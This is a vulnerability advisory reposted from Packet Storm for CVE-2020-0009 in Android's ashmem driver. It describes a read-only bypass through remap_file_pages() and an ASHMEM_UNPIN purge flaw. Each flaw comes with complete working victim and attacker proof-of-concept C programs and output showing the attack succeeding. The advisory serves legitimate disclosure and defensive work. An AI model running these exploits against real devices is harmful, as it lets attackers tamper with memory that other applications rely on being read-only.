CVE-2020-0009: Android ashmem Read-Only Bypasses ≈ Packet Storm

Android: ashmem readonly bypasses via remap_file_pages() and ASHMEM_UNPINThis bug report describes two ways in which an attacker can modify the contentsof a read-only ashmem fd. I'm not sure at this point what the most interestinguser of ashmem is in the current Android release, but there are various users,including Chrome and a bunch of utility classes.In AOSP master, there is even code in<https://android.googlesource.com/platform/art/+/master/runtime/jit/jit_memory_region.cc>that uses ashmem for some JIT zygote mapping, which sounds extremelyinteresting.Android's ashmem kernel driver has an ->mmap() handler that attempts to lockdown created VMAs based on a configured protection mask such that in particularwrite access to the underlying shmem file can never be gained. It tries to dothis as follows (code taken from upstream Linuxdrivers/staging/android/ashmem.c):    static inline vm_flags_t calc_vm_may_flags(unsigned long prot)    {            return _calc_vm_trans(prot, PROT_READ,  VM_MAYREAD) |                   _calc_vm_trans(prot, PROT_WRITE, VM_MAYWRITE) |                   _calc_vm_trans(prot, PROT_EXEC,  VM_MAYEXEC);    }    [...]    static int ashmem_mmap(struct file *file, struct vm_area_struct *vma)    {            struct ashmem_area *asma = file->private_data;    [...]            /* requested protection bits must match our allowed protection mask */            if ((vma->vm_flags & ~calc_vm_prot_bits(asma->prot_mask, 0)) &                calc_vm_prot_bits(PROT_MASK, 0)) {                    ret = -EPERM;                    goto out;            }            vma->vm_flags &= ~calc_vm_may_flags(~asma->prot_mask);    [...]            if (vma->vm_file)                    fput(vma->vm_file);            vma->vm_file = asma->file;    [...]            return ret;    }This ensures that the protection flags specified by the caller don't conflictwith the ->prot_mask, and it also clears the VM_MAY* flags as needed to preventthe user from afterwards adding new protection flags via mprotect().However, it improperly stores the backing shmem file, whose ->mmap() handlerdoes not enforce the same restrictions, in ->vm_file. An attacker can abuse thisthrough the remap_file_pages() syscall, which grabs the file pointer of anexisting VMA and calls its ->mmap() handler to create a new VMA. In effect,calling remap_file_pages(addr, size, 0, 0, 0) on an ashmem mapping allows anattacker to raise the VM_MAYWRITE bit, allowing the attacker to gain writeaccess to the ashmem allocation's backing file via mprotect().Reproducer (works both on Linux from upstream master in an X86 VM and on aPixel 2 at security patch level 2019-09-05 via adb):====================================================================user@vm:~/ashmem_remap$ cat ashmem_remap_victim.c#include <unistd.h>#include <stdlib.h>#include <fcntl.h>#include <err.h>#include <stdio.h>#include <sys/mman.h>#include <sys/ioctl.h>#include <sys/wait.h>#define __ASHMEMIOC   0x77#define ASHMEM_SET_SIZE   _IOW(__ASHMEMIOC, 3, size_t)#define ASHMEM_SET_PROT_MASK  _IOW(__ASHMEMIOC, 5, unsigned long)int main(void) {  int ashmem_fd = open(\"/dev/ashmem\", O_RDWR);  if (ashmem_fd == -1)    err(1, \"open ashmem\");  if (ioctl(ashmem_fd, ASHMEM_SET_SIZE, 0x1000))    err(1, \"ASHMEM_SET_SIZE\");  char *mapping = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, ashmem_fd, 0);  if (mapping == MAP_FAILED)    err(1, \"mmap ashmem\");  if (ioctl(ashmem_fd, ASHMEM_SET_PROT_MASK, PROT_READ))    err(1, \"ASHMEM_SET_SIZE\");  mapping[0] = 'A';  printf(\"mapping[0] = '%c'\\", mapping[0]);  if (dup2(ashmem_fd, 42) != 42)    err(1, \"dup2\");  pid_t child = fork();  if (child == -1)    err(1, \"fork\");  if (child == 0) {    execl(\"./ashmem_remap_attacker\", \"ashmem_remap_attacker\", NULL);    err(1, \"execl\");  }  int status;  if (wait(&status) != child) err(1, \"wait\");  printf(\"mapping[0] = '%c'\\", mapping[0]);}user@vm:~/ashmem_remap$ cat ashmem_remap_attacker.c#define _GNU_SOURCE#include <unistd.h>#include <sys/mman.h>#include <err.h>#include <stdlib.h>#include <stdio.h>int main(void) {  int ashmem_fd = 42;  /* sanity check */  char *write_mapping = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, ashmem_fd, 0);  if (write_mapping == MAP_FAILED) {    perror(\"mmap ashmem writable failed as expected\");  } else {    errx(1, \"trivial mmap ashmem writable worked???\");  }  char *mapping = mmap(NULL, 0x1000, PROT_READ, MAP_SHARED, ashmem_fd, 0);  if (mapping == MAP_FAILED)    err(1, \"mmap ashmem readonly failed\");  if (mprotect(mapping, 0x1000, PROT_READ|PROT_WRITE) == 0)    errx(1, \"mprotect ashmem writable worked???\");  if (remap_file_pages(mapping, /*size=*/0x1000, /*prot=*/0, /*pgoff=*/0, /*flags=*/0))    err(1, \"remap_file_pages\");  if (mprotect(mapping, 0x1000, PROT_READ|PROT_WRITE))    err(1, \"mprotect ashmem writable failed, attack didn't work\");  mapping[0] = 'X';  puts(\"attacker exiting\");}user@vm:~/ashmem_remap$ gcc -o ashmem_remap_victim ashmem_remap_victim.cuser@vm:~/ashmem_remap$ gcc -o ashmem_remap_attacker ashmem_remap_attacker.cuser@vm:~/ashmem_remap$ ./ashmem_remap_victimmapping[0] = 'A'mmap ashmem writable failed as expected: Operation not permittedattacker exitingmapping[0] = 'X'user@vm:~/ashmem_remap$ ====================================================================Interestingly, the (very much deprecated) syscall remap_file_pages() isn't evenlisted in bionic's SYSCALLS.txt, which would normally cause it to be blocked byAndroid's seccomp policy; however, SECCOMP_WHITELIST_APP.txt explicitly permitsit for 32-bit ARM applications:    # b/36435222    int remap_file_pages(void *addr, size_t size, int prot, size_t pgoff, int flags)  arm,x86,mipsashmem supports purgable memory via ASHMEM_UNPIN/ASHMEM_PIN. Unfortunately,there is no access control for these - even if you only have read-only access toan ashmem file, you can still mark pages in it as purgable, causing them toeffectively be zeroed out when the system is under memory pressure. Here's asimple test for that (to be run in an X86 Linux VM):====================================================================user@vm:~/ashmem_purging$ cat ashmem_purge_victim.c#include <unistd.h>#include <stdlib.h>#include <fcntl.h>#include <err.h>#include <stdio.h>#include <sys/mman.h>#include <sys/ioctl.h>#include <sys/wait.h>#define __ASHMEMIOC   0x77#define ASHMEM_SET_SIZE   _IOW(__ASHMEMIOC, 3, size_t)#define ASHMEM_SET_PROT_MASK  _IOW(__ASHMEMIOC, 5, unsigned long)int main(void) {  int ashmem_fd = open(\"/dev/ashmem\", O_RDWR);  if (ashmem_fd == -1)    err(1, \"open ashmem\");  if (ioctl(ashmem_fd, ASHMEM_SET_SIZE, 0x1000))    err(1, \"ASHMEM_SET_SIZE\");  char *mapping = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, ashmem_fd, 0);  if (mapping == MAP_FAILED)    err(1, \"mmap ashmem\");  if (ioctl(ashmem_fd, ASHMEM_SET_PROT_MASK, PROT_READ))    err(1, \"ASHMEM_SET_SIZE\");  mapping[0] = 'A';  printf(\"mapping[0] = '%c'\\", mapping[0]);  if (dup2(ashmem_fd, 42) != 42)    err(1, \"dup2\");  pid_t child = fork();  if (child == -1)    err(1, \"fork\");  if (child == 0) {    execl(\"./ashmem_purge_attacker\", \"ashmem_purge_attacker\", NULL);    err(1, \"execl\");  }  int status;  if (wait(&status) != child) err(1, \"wait\");  printf(\"mapping[0] = '%c'\\", mapping[0]);}user@vm:~/ashmem_purging$ cat ashmem_purge_attacker.c#include <unistd.h>#include <stdlib.h>#include <fcntl.h>#include <err.h>#include <stdio.h>#include <sys/mman.h>#include <sys/ioctl.h>struct ashmem_pin {  unsigned int offset, len;};#define __ASHMEMIOC   0x77#define ASHMEM_SET_SIZE   _IOW(__ASHMEMIOC, 3, size_t)#define ASHMEM_UNPIN    _IOW(__ASHMEMIOC, 8, struct ashmem_pin)int main(void) {  struct ashmem_pin pin = { 0, 0 };  if (ioctl(42, ASHMEM_UNPIN, &pin))    err(1, \"unpin 42\");  /* ensure that shrinker doesn't get skipped */  int ashmem_fd = open(\"/dev/ashmem\", O_RDWR);  if (ashmem_fd == -1)    err(1, \"open ashmem\");  if (ioctl(ashmem_fd, ASHMEM_SET_SIZE, 0x100000))    err(1, \"ASHMEM_SET_SIZE\");  char *mapping = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, ashmem_fd, 0);  if (mapping == MAP_FAILED)    err(1, \"mmap ashmem\");  if (ioctl(ashmem_fd, ASHMEM_UNPIN, &pin))    err(1, \"unpin 42\");  /* simulate OOM */  system(\"sudo sh -c 'echo 2 > /proc/sys/vm/drop_caches'\");  puts(\"attacker exiting\");}user@vm:~/ashmem_purging$ gcc -o ashmem_purge_victim ashmem_purge_victim.cuser@vm:~/ashmem_purging$ gcc -o ashmem_purge_attacker ashmem_purge_attacker.cuser@vm:~/ashmem_purging$ ./ashmem_purge_victimmapping[0] = 'A'attacker exitingmapping[0] = ''user@vm:~/ashmem_purging$ ====================================================================This bug is subject to a 90 day disclosure deadline. After 90 days elapseor a patch has been made broadly available (whichever is earlier), the bugreport will become visible to the public.Related CVE Numbers: CVE-2020-0009.Found by: [email protected]